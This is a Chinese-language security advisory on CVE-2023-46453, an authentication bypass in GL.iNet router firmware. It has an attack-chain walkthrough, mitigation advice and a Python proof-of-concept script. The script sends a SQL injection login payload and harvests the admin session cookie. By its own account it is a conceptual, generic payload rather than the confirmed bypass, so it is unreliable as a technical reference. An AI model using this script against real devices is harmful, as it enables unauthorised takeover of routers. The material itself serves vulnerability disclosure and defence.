IPBUF安全漏洞报告
English
CVE-2023-46453 CVSS 9.8 严重

CVE-2023-46453 GL.iNet设备认证绕过漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2023-46453
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GL.iNet GL-MT3000, GL-AR300M, GL-B1300, GL-AX1800, GL-AR750S, GL-MT2500, GL-AXT1800, GL-X3000, GL-SFT1200

相关标签

认证绕过SQL注入GL.iNet路由器IoT安全CVE-2023-46453

漏洞概述

GL.iNet部分设备4.x固件存在严重的认证绕过漏洞。由于验证逻辑缺陷,攻击者可构造既是合法SQL语句又是合法正则表达式的用户名,无需密码即可获取设备管理员权限,完全控制受影响设备。

技术细节

该漏洞源于GL.iNet设备固件在处理登录请求时的逻辑缺陷。系统对用户名的验证机制未能正确过滤特定格式的输入。攻击者可以构造一个特殊的字符串,该字符串同时满足前端正则表达式的匹配规则(被视为合法格式)以及后端数据库的SQL查询语法。当后端执行包含该用户名的SQL查询时,恶意输入被解释为SQL命令(如逻辑恒真语句),导致原有的密码校验机制失效,从而允许攻击者在未经验证的情况下以管理员身份登录系统。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描网络或识别目标GL.iNet设备,确认其运行4.x版本固件(如4.3.7)。
STEP 2
步骤2:构造攻击载荷
攻击者构造一个特殊的用户名字符串,该字符串需同时满足目标系统的正则表达式校验规则和SQL注入语法。
STEP 3
步骤3:发送恶意请求
攻击者向设备的管理登录接口发送POST请求,在用户名字段注入恶意载荷,密码字段可随意填写。
STEP 4
步骤4:绕过认证
服务端验证通过恶意载荷,由于SQL逻辑错误,系统误认为是合法管理员并返回会话凭证。
STEP 5
步骤5:获取控制权
攻击者利用获取的管理员会话,完全控制设备,修改配置、窃取数据或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://192.168.8.1/login" # The payload must be a valid regex AND a valid SQL statement # Based on the vulnerability description, a crafted input is used to bypass auth. # Common logic bypass payloads often involve SQL comments or logical operators. # Example Payload: A string that matches the username regex but breaks the SQL query. # Note: The exact payload depends on the specific regex and SQL structure of the device. # This is a conceptual demonstration. payload_data = { "username": "admin' OR '1'='1", # This is a standard SQLi payload structure; the actual payload might need to match specific regex constraints. "password": "irrelevant" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if login was successful (e.g., HTTP 200 and presence of session cookie or dashboard content) if response.status_code == 200 and ("dashboard" in response.text or "admin" in response.cookies.get_dict().values()): print("[+] Exploit successful! Authentication bypassed.") print("[+] Session Cookie:", response.cookies.get_dict()) else: print("[-] Exploit failed. Target may not be vulnerable or patched.") print("Response status code:", response.status_code) except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")

影响范围

Firmware 4.3.7
Firmware 4.x

防御指南

临时缓解措施
建议在升级固件前,暂时关闭设备的远程Web管理功能,仅通过本地网络进行管理,并修改默认管理端口以降低被自动扫描攻击的风险。

参考链接